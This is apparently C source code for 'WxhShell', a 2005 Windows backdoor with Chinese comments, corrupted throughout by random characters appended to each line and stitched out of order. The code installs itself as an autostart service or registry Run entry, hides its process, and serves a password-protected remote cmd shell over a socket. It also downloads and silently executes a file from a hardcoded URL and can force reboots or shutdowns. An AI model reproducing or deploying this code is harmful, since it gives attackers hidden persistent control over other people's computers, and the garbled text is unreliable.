    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DHg :8%3x  
    if(Boot(SHUTDOWN)) y B81f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[Imn\hu  
    else { H9Gh>u]}  
    closesocket(wsh); RF?`vRZOe  
    ExitThread(0); sbfuzpg]*  
    } O0*p0J  
    break; F;Spi  
    } `_6C {<O  
  // 获取shell H-!,yte  
  case 's': { 8 v6(qBK  
    CmdShell(wsh); 6lZ3tdyNo  
    closesocket(wsh); v1#otrf  
    ExitThread(0); (fhb0i-  
    break; 4V"E8rUL(  
  } zF@/K`  
  // 退出 j}#w )M  
  case 'x': { [DYQ"A= )d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ky`qskvu  
    CloseIt(wsh); =?5]()'*n  
    break; b.Os iT;_j  
    } !K#qeY}  
  // 离开 a)!o @  
  case 'q': { p . %]Q*8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #]-SJWf3  
    closesocket(wsh); i:dR\|B  
    WSACleanup(); f'F?MINJP  
    exit(1); Q*GN`07@?d  
    break; mwO6g~@ `  
        } %J}xg^+f  
  } *j|~$e}C  
  } 3h]g}&k  
mupT<_Y  
  // 提示信息 ~EW(Gs!=C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `T1  
} }czrj%6  
  } XjBW9a  
)|cc X  
  return; MnmVl"(/  
} hy9\57_#  
1l9 G[o *  
// shell模块句柄 Oz.HH  
int CmdShell(SOCKET sock) EX*HiZU>  
{ 4a&RYx  
STARTUPINFO si; 2bz2KB5>  
ZeroMemory(&si,sizeof(si)); //B&k`u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;2G*wR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &.3"Uo\#  
PROCESS_INFORMATION ProcessInfo; &*o=I|pQ  
char cmdline[]="cmd"; }ZYd4h|g\z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3s*mbk[J  
  return 0; `4r 3l S  
} _9ao?:  
+tB=OwU%0  
// 自身启动模式 ]IaMp788  
int StartFromService(void) ~"gA,e-)  
{ rV.}PtcFY  
typedef struct C-xr"]#]  
{ @b\$yB@z  
  DWORD ExitStatus; 1> ?M>vK  
  DWORD PebBaseAddress; n>z9K')  
  DWORD AffinityMask; 5; C|  
  DWORD BasePriority; VCYwzB  
  ULONG UniqueProcessId; , };& tR  
  ULONG InheritedFromUniqueProcessId; 'I|v[G$l  
}   PROCESS_BASIC_INFORMATION; j\yjc/m  
H;is/  
PROCNTQSIP NtQueryInformationProcess; $L `d&$Vh  
'JtBZFq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P-[-pi@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #I.+aV+2oQ  
u$z`   
  HANDLE             hProcess; &md`$a/  
  PROCESS_BASIC_INFORMATION pbi;  OHN_  
RIR\']WN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x%=si[P  
  if(NULL == hInst ) return 0; q$L%36u~/  
a9e>iU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2 B1q*`6R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P.se'z)E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rE7G{WII  
PxX 4[ P  
  if (!NtQueryInformationProcess) return 0; !"AvY y9  
h#I>M`|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $V;i '(&7  
  if(!hProcess) return 0; 4IK( 7  
lM`2sy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2g `o  
]2A^1Del  
  CloseHandle(hProcess); ;7*[Bcj.  
>fG3K`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6{K,c@VFd  
if(hProcess==NULL) return 0; _`$qBw.Nx  
U)TUOwF  
HMODULE hMod; 299H$$WS,Z  
char procName[255]; g @Z))M+  
unsigned long cbNeeded; b1q"!+8y  
e)IzQ7Zex  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >IafUy  
te`$%NRl  
  CloseHandle(hProcess); |T /ZL!  
sFKX-S~:  
if(strstr(procName,"services")) return 1; // 以服务启动 (y'hyJo  
Y;eZ9|Ht9  
  return 0; // 注册表启动 [|wZ77\  
} -:^U_FL8un  
n)/z0n!\  
// 主模块 ZmqKQO  
int StartWxhshell(LPSTR lpCmdLine) QpH'PYy  
{ W-f=]eWg  
  SOCKET wsl; >gQ>1Bwvi  
BOOL val=TRUE; uh_RGM&  
  int port=0; *tFHM &a  
  struct sockaddr_in door; "s-"<&>a(  
a~`eQ_N D  
  if(wscfg.ws_autoins) Install(); k8yEdi`  
Eh`7X=Z7E  
port=atoi(lpCmdLine); Ufj`euY  
,^r9n[M4M  
if(port<=0) port=wscfg.ws_port; )iX~}7  
o#)C^xlQ  
  WSADATA data;  'c&Ed  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T.F!+  
QhFV xCA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "9uKtQS0o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CT@ jZtg0  
  door.sin_family = AF_INET; 8,Z_{R#|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S>+|OCl";  
  door.sin_port = htons(port); hNiE\x  
^#-l q)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A|[?#S((]  
closesocket(wsl); @u+]aI!`-  
return 1; eeg)N1\  
} fb7;|LF  
qbr$>xH  
  if(listen(wsl,2) == INVALID_SOCKET) { ^6x%*/l|  
closesocket(wsl); Hvauyx5T  
return 1; ^0 )g/`H^>  
} G't$Qx,IC  
  Wxhshell(wsl); ;O5zUl-`  
  WSACleanup(); Ty\R=y}}  
5ta `%R_  
return 0; (#c*M?g3  
m@j?za9s  
} M^Yh|%M  
ja'T+!k  
// 以NT服务方式启动 CkC^'V)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Po;W'7"Po`  
{ "Y.tht H  
DWORD   status = 0; !TH) +zi  
  DWORD   specificError = 0xfffffff; Kn{4;Xk\  
3NqB <J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \\ij(>CI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :G=fl)!fE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ny7S  
  serviceStatus.dwWin32ExitCode     = 0; 5I;&mW`1,`  
  serviceStatus.dwServiceSpecificExitCode = 0; /<k/7TF`  
  serviceStatus.dwCheckPoint       = 0; (/YHk`v2  
  serviceStatus.dwWaitHint       = 0; <nf@U>wlw  
]mq|w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m~ABC#,2  
  if (hServiceStatusHandle==0) return; -IudgO]  
qo~O|~  
status = GetLastError(); EWt[z.`T1  
  if (status!=NO_ERROR) //MUeTxR  
{  dFc':|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h4}84}5d  
    serviceStatus.dwCheckPoint       = 0; X`/k)N>l  
    serviceStatus.dwWaitHint       = 0; 3*bU6$|5FP  
    serviceStatus.dwWin32ExitCode     = status; qZh/IW  
    serviceStatus.dwServiceSpecificExitCode = specificError; =*.~BG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3m/(jdO  
    return; -ad{tJV|  
  } ,Vax&n+J  
}#+^{P3;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Po0A#Zl  
  serviceStatus.dwCheckPoint       = 0; I,DS@SK  
  serviceStatus.dwWaitHint       = 0; QL/(72K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rXq.DvQ  
} c#]4awHU  
O\tb R=  
// 处理NT服务事件,比如:启动、停止 xH,a=8&9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7z,C}-q  
{ Q\vpqE! 9  
switch(fdwControl) nW:C/{n2tG  
{ !F-w3 ]  
case SERVICE_CONTROL_STOP: [DOckf oZx  
  serviceStatus.dwWin32ExitCode = 0; 'oVx#w^mf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ">nxHU  
  serviceStatus.dwCheckPoint   = 0; On?v|10r'  
  serviceStatus.dwWaitHint     = 0; l&zilVVm  
  {  > |=ts  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H41?/U,{  
  } ty!`T+3  
  return; Qel9G($=  
case SERVICE_CONTROL_PAUSE: E&w7GZNt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I 34>X`[o  
  break; a-tmq]]E  
case SERVICE_CONTROL_CONTINUE: @1j   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QIEJ6`  
  break;  /maJtX'  
case SERVICE_CONTROL_INTERROGATE: W@IQ^ }E  
  break; ,qwuLBW  
}; MN>b7O \.?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=tIz  
} d-ko ^Y0  
G*MUO#_iuh  
// 标准应用程序主函数 8Fh)eha9f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >'$Mp<  
{ Y@iS_lR  
N~gzDQ3  
// 获取操作系统版本 ej d(R+  
OsIsNt=GetOsVer(); /nsX]V6i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pki%vRY  
r5/0u(\LB  
  // 从命令行安装 T>Z<]s  
  if(strpbrk(lpCmdLine,"iI")) Install(); re<{ >  
t@;p  
  // 下载执行文件 B[Scr5|  
if(wscfg.ws_downexe) { P+sW[:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3?yg\  
  WinExec(wscfg.ws_filenam,SW_HIDE); (C L%>5V  
} l'qg8  
D_7,m%Z:  
if(!OsIsNt) { T-L||yE,h  
// 如果时win9x,隐藏进程并且设置为注册表启动 vr l-$ii  
HideProc(); u=sp`%?  
StartWxhshell(lpCmdLine); l)\! .X  
}  _[3D  
else +sA2WK]  
  if(StartFromService()) |df Pki{  
  // 以服务方式启动 5qm`J,~k  
  StartServiceCtrlDispatcher(DispatchTable); 3hH<T.@)  
else =nS3p6>rZ  
  // 普通方式启动 ;'K5J9k  
  StartWxhshell(lpCmdLine); TdM ruSY  
N+xP26D8  
return 0; WH}y"W  
} {P./==^0  
^CX6&d  
F>l] 9!P|m  
RqrdAkg  
=========================================== P@B]  
reWot&;  
^x,YW]AS}  
O/C rd/  
t:Q*gW Rh  
A/s?x>QA  
" %$L{R  
f}e`XA?  
#include <stdio.h> ZBthU")?  
#include <string.h> <'*LRd$1  
#include <windows.h> 0~S^Y1hH  
#include <winsock2.h> \b x$i*  
#include <winsvc.h>  kJ}`V  
#include <urlmon.h> ~0$&3a<n1  
FZlWsp=  
#pragma comment (lib, "Ws2_32.lib") oc`H}Wvn  
#pragma comment (lib, "urlmon.lib") F41=b4/  
n>YKa)|W`  
#define MAX_USER   100 // 最大客户端连接数 NLqzi%s  
#define BUF_SOCK   200 // sock buffer da(<K}  
#define KEY_BUFF   255 // 输入 buffer PZ9I`P! C  
tsjrRMR  
#define REBOOT     0   // 重启 cwg"c4V  
#define SHUTDOWN   1   // 关机 z:*|a+cy  
D,feF9  
#define DEF_PORT   5000 // 监听端口 ,qxu|9L  
bn5 Su=]  
#define REG_LEN     16   // 注册表键长度 25?6gu*Z  
#define SVC_LEN     80   // NT服务名长度 HZge!Yp<  
}}~|!8  
// 从dll定义API C'x&Py/#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :o3N;*o>)0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T~e.PP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |{ip T SH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #6=  
rILYI;'o  
// wxhshell配置信息 l f, 5w  
struct WSCFG { ms]sD3z/W+  
  int ws_port;         // 监听端口 [W&T(%(W-  
  char ws_passstr[REG_LEN]; // 口令 4r}51 N\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?@86P|19  
  char ws_regname[REG_LEN]; // 注册表键名 ;Y, y4{H3  
  char ws_svcname[REG_LEN]; // 服务名 ZECfR>`x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e^voW"?%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <5051U Eu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2+XA X:YD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <P_-s*b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WyiQoN'q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |6- nbj  
9* M,R,y  
}; @yYkti;4-  
GbI/4<)l}  
// default Wxhshell configuration a7opCmL  
struct WSCFG wscfg={DEF_PORT, {l@{FUv  
    "xuhuanlingzhe", ^cWnF0)j.  
    1, oB7_O-3z  
    "Wxhshell", _[BP 0\dPW  
    "Wxhshell", hZb_P\1X  
            "WxhShell Service", E1 2uZ$X  
    "Wrsky Windows CmdShell Service", FSO).=#  
    "Please Input Your Password: ", F== p<lrs  
  1, "tK=+f`NM  
  "http://www.wrsky.com/wxhshell.exe", |G<|F`Cj  
  "Wxhshell.exe" ?@x/E&  
    }; i%?*@uj  
P%n>Tg80M  
// 消息定义模块 a<e[e>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SpBy3wd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~xTt204S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -9?]IIVb  
char *msg_ws_ext="\n\rExit."; ;_=&-mz  
char *msg_ws_end="\n\rQuit."; omx=  
char *msg_ws_boot="\n\rReboot..."; A#,ZUOPGH  
char *msg_ws_poff="\n\rShutdown..."; ;'1d1\wiDQ  
char *msg_ws_down="\n\rSave to "; V7/Rby Q  
xE}>,O|'q  
char *msg_ws_err="\n\rErr!"; 8ao_i=&x  
char *msg_ws_ok="\n\rOK!"; UiNP3TJ'L  
V;=cwy)I  
char ExeFile[MAX_PATH]; 6y<EgYzdE  
int nUser = 0; uxz^/Gk  
HANDLE handles[MAX_USER]; EU#^7  
int OsIsNt; %C]>9."  
!G|@6W`  
SERVICE_STATUS       serviceStatus; zH r_!~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z\sDUJ  
]4e;RV-B  
// 函数声明 zt%Mx>V@  
int Install(void); v$9y,^p@e  
int Uninstall(void); pgo$ 61  
int DownloadFile(char *sURL, SOCKET wsh); DmcZta8n]  
int Boot(int flag); 1Y,Z %d  
void HideProc(void); kx^/*~ex  
int GetOsVer(void); K=&>t6s<  
int Wxhshell(SOCKET wsl); !)$Zp\Sg  
void TalkWithClient(void *cs); XWw804ir  
int CmdShell(SOCKET sock); Zd+bx*rD  
int StartFromService(void); /9X7A;O  
int StartWxhshell(LPSTR lpCmdLine); Hn:Crl y#  
b.938#3,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  D%Z|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W+* V)tf  
?JUeuNs9  
// 数据结构和表定义 O6Y0XL  
SERVICE_TABLE_ENTRY DispatchTable[] = 9+N-eW_U  
{ ="e+W@C  
{wscfg.ws_svcname, NTServiceMain}, eS! /(#T  
{NULL, NULL} h+,@G,|D  
}; >Q*Wi  
.+qpk*V\  
// 自我安装 pR_9NfV{  
int Install(void) \2z>?i)  
{ 5zJq9\)d+  
  char svExeFile[MAX_PATH]; KPki}'GO  
  HKEY key; unxqkU/<Z  
  strcpy(svExeFile,ExeFile); ]$hBMuUa  
$cg cX  
// 如果是win9x系统,修改注册表设为自启动 Hr C+Yjp  
if(!OsIsNt) { t JmTBsn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 E= L8<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;VK.2^jW!  
  RegCloseKey(key); ~J]qP#C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rl.}%Ny  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 8,n%=nG  
  RegCloseKey(key); X3& Jb2c2  
  return 0; ^J{:x  
    } PY'2h4IL  
  } S jj6q`  
} @)}L~lb[)  
else { Y-9I3?ar  
c@Is2 9t*  
// 如果是NT以上系统,安装为系统服务 TqQ[_RKg2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ort(AfW  
if (schSCManager!=0) p<%d2@lp  
{ _0I@xQj-  
  SC_HANDLE schService = CreateService \U0'P;em  
  ( E{@[k%,_  
  schSCManager, I+(nu47ZT  
  wscfg.ws_svcname, qgB_=Q#E  
  wscfg.ws_svcdisp, @F>D+=hS  
  SERVICE_ALL_ACCESS, [>9is=>o.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gDzK{6Z}  
  SERVICE_AUTO_START, u&e~1?R  
  SERVICE_ERROR_NORMAL, YkADk9fE  
  svExeFile, A}w/OA97RO  
  NULL, ?A0)L27UE&  
  NULL, O0:q;<>z  
  NULL, |BYRe1l6l  
  NULL, ykJ>*z  
  NULL $Kd>:f=A  
  ); 7$#u  
  if (schService!=0) kf9X$d6   
  { m[2gdJK  
  CloseServiceHandle(schService); @+DX.9  
  CloseServiceHandle(schSCManager); DfB7*+x{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MOC/KNb  
  strcat(svExeFile,wscfg.ws_svcname); T>>c2$ x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~G w*r\\+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #z42C?V  
  RegCloseKey(key); cb bFw  
  return 0; s[N@0  
    } _Ey5n!0:  
  } ,z6~?6m  
  CloseServiceHandle(schSCManager); 0`H# '/  
} qSQ~D(tO  
} 5R7DDJk  
@nf`Gw ;  
return 1; [hs ds\  
} $ Q0n  
2qp#N%  
// 自我卸载 P2Y^d#jO  
int Uninstall(void) d5d@k  
{ `h;[TtIX4  
  HKEY key; cCX*D_kCB  
(sj,[  
if(!OsIsNt) { [-&Zl(9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kVL.PY\K  
  RegDeleteValue(key,wscfg.ws_regname); }WV:erg`  
  RegCloseKey(key); pk~WrqK}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V.Mry`9-  
  RegDeleteValue(key,wscfg.ws_regname); T C"<g  
  RegCloseKey(key); QW"! (`K  
  return 0; MQ4KdqgP  
  } $!DpjN  
} %)wjR/o  
} \v/[6&|X0s  
else { Ss`LLq0LO  
^}r1;W?n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T0 {Lq:  
if (schSCManager!=0) r*Xuj=  
{ 28nFRr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SAz   
  if (schService!=0) ~ K=b\xc^  
  { Mp]rUPK  
  if(DeleteService(schService)!=0) { pJ{Y lS{  
  CloseServiceHandle(schService); <vP=zk  
  CloseServiceHandle(schSCManager); ?# fQ~ s  
  return 0; .^g p?  
  } 'PHl$f*k  
  CloseServiceHandle(schService); +h$ 9\  
  } cnLro  
  CloseServiceHandle(schSCManager); 4I7>f]=)  
} #/]nxW.S  
} ;Xw~D_uv  
d'2A,B~_*  
return 1; HTtnXBJ)*H  
} saAF+H/=  
YS ][n_  
// 从指定url下载文件 qWw=8Bq  
int DownloadFile(char *sURL, SOCKET wsh) o(HbGHIP  
{ j<x_&1  
  HRESULT hr; W%J\qA  
char seps[]= "/"; (#'>(t(4  
char *token; NO3/rJ6-  
char *file; j#6.Gq  
char myURL[MAX_PATH]; 16 $B>  
char myFILE[MAX_PATH]; ;nGa.= "L  
o}!PQ#`M  
strcpy(myURL,sURL); cu6Opq9  
  token=strtok(myURL,seps); Ls%MGs9PI  
  while(token!=NULL) w(rE`IgW  
  { 6nQq  
    file=token; +qoRP2  
  token=strtok(NULL,seps); n|;Im&,  
  } 6wxs1G  
f5r0\7y0  
GetCurrentDirectory(MAX_PATH,myFILE); @.C2LIb  
strcat(myFILE, "\\"); % `3jL7|  
strcat(myFILE, file); .u:GjL'$  
  send(wsh,myFILE,strlen(myFILE),0); [vgtc.V  
send(wsh,"...",3,0); wj+*E6o-n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $^ P0F9~0  
  if(hr==S_OK) ZW}_DT0  
return 0; l ,8##7  
else MPV5P^@X  
return 1; nK,w]{<wG!  
PM+[,H  
} =}*0-\QG  
*or(1DXP8  
// 系统电源模块 ]oxZ77ciL  
int Boot(int flag) "fI6Cpc  
{ 0mnw{fE8_  
  HANDLE hToken; ]! dTG  
  TOKEN_PRIVILEGES tkp; JO;Uus{?  
w@b)g  
  if(OsIsNt) { (?c-iKGc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OH88n69  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z7#+pPt!  
    tkp.PrivilegeCount = 1; 7"mc+QOp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zh,71Umz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g ?k=^C  
if(flag==REBOOT) { . ^u,.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #jk_5W  
  return 0; TO_e^A#  
} `g,..Ns-r  
else { Ngwb Q7)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WM{=CD  
  return 0; xmX 4qtAL  
} /B3iC#?  
  } G"6 !{4g  
  else { O}P`P'Y|'  
if(flag==REBOOT) { *fdTpXa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~BF&rx5Q  
  return 0; j6YOKJX  
} ;,TFr}p`  
else { \8 ":]EU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tk>#G{Wb-  
  return 0; yuVs YV@"  
} GmG 5[?)  
} U(Zq= M  
:+Z%; Dc  
return 1; =I4lL]>  
} >Q/Dk7#  
VQs5"K"  
// win9x进程隐藏模块 [e q&C_|D  
void HideProc(void) GeqPRah  
{ :Al!1BJQ  
;j7#7MN2_E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dI2 V>vk  
  if ( hKernel != NULL ) y9;Yiv r)  
  { =vPj%oLp'a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lk!@?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =-T]3!   
    FreeLibrary(hKernel); fox6)Uot  
  } GVz6-T~\>  
FlQGg VN  
return; @c#(.=  
} 7P T{lT  
q| 7(  
// 获取操作系统版本 ==B6qX8T  
int GetOsVer(void) ,I9bNO,%JK  
{ BWNi [^]  
  OSVERSIONINFO winfo; W/ \g~=vo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); No$3"4wk  
  GetVersionEx(&winfo);  bLL2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HsWk*L `y  
  return 1; QWU[@2@%r  
  else $:6!H:ty  
  return 0; D=$)n_F  
} #z(]xI)"  
xoL\us`A  
// 客户端句柄模块 +mPx8P&%  
int Wxhshell(SOCKET wsl) [KQi.u  
{ Kq!3wb;  
  SOCKET wsh; }b}m3i1  
  struct sockaddr_in client; df=f62  
  DWORD myID; ~~.}ah/_d  
ta0|^KAA  
  while(nUser<MAX_USER) xG 1n GO  
{ [WJ+h~~ o  
  int nSize=sizeof(client); Ni>[D"|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Smh,zCc>s  
  if(wsh==INVALID_SOCKET) return 1; vI?, 47Hj+  
[7-?7mp!B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "7 yD0T)2  
if(handles[nUser]==0) yu|>t4#GT  
  closesocket(wsh); TvM~y\s  
else 2eogY#  
  nUser++; cl1T8vFM  
  } :3PH8TL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +t.b` U`-  
?M2J wAK5  
  return 0; RFGffA&  
} :m;p:l|W  
54,er$$V  
// 关闭 socket pCDmXB  
void CloseIt(SOCKET wsh) @W<m 4fi  
{ ("@!>|H  
closesocket(wsh); Y2TtY;  
nUser--; ,6/V" kqIP  
ExitThread(0); TC('H[ ]  
} #mT"gs  
5-V pJ  
// 客户端请求句柄 -LSWmrj  
void TalkWithClient(void *cs) LeQjvW9y  
{ "Q<MS'a  
VTM/hJmwJ  
  SOCKET wsh=(SOCKET)cs; wzA$'+Mb  
  char pwd[SVC_LEN]; =|=(l)8  
  char cmd[KEY_BUFF]; &m3lXl  
char chr[1]; 1 zZlC#V  
int i,j; ]5O~+Nf  
=]t|];c%  
  while (nUser < MAX_USER) { GyIV Hby  
Xvv6~  
if(wscfg.ws_passstr) { O1lNAcpeM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _!6jR5&r,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6863xOv{T  
  //ZeroMemory(pwd,KEY_BUFF); 1oS/`)  
      i=0; #WuBL_nZ~  
  while(i<SVC_LEN) { u, ff>/1  
3]>|  i  
  // 设置超时 0sqFF[i  
  fd_set FdRead; >z03{=sAN  
  struct timeval TimeOut; ]]mJ']l  
  FD_ZERO(&FdRead); qM`}{ /i  
  FD_SET(wsh,&FdRead); x:;kSh  
  TimeOut.tv_sec=8; Q8NX)R  
  TimeOut.tv_usec=0; QZs!{sZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4Ig;3 ^%71  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7/H)Az@i45  
:h$$J lP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _w{Qtj~s|  
  pwd=chr[0]; !VJoM,b8  
  if(chr[0]==0xd || chr[0]==0xa) { Wzh`or  
  pwd=0; ixFi{_  
  break; .8R@2c`}Cs  
  } D- c4EV  
  i++; PsYpxNr  
    } AdEMa}u 6  
2iOV/=+  
  // 如果是非法用户,关闭 socket Z r8*et  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \G[$:nS  
} -@s#uA h  
7r!x1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M7T5 ~/4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %4H%?4  
 Sf'CN8  
while(1) { QY/w  
zdYjF|  
  ZeroMemory(cmd,KEY_BUFF); \<' ?8ri#  
2:kH[#  
      // 自动支持客户端 telnet标准   Ie_wHcM<  
  j=0; +R&gqja  
  while(j<KEY_BUFF) { paK2 xX8E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q?vlfZR`8  
  cmd[j]=chr[0]; (e~Nq  
  if(chr[0]==0xa || chr[0]==0xd) { X, n:,'  
  cmd[j]=0; 6'/ #+,d'  
  break; D^O@'zP=At  
  } y0#2m6u  
  j++; \85i+q:LuA  
    } gJXaPJA{  
+rd+0 `}C  
  // 下载文件 V&5wRz+`W  
  if(strstr(cmd,"http://")) { \~W'v3:W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8=l%5r^cq  
  if(DownloadFile(cmd,wsh)) cr3^6HB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,prf;|e?  
  else XTy x r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t# i #(H  
  } ueudRb  
  else { G[=c Ss,  
$i&zex{\  
    switch(cmd[0]) { uFE)17E  
  _XBd3JN@  
  // 帮助 C]6O!Pb0  
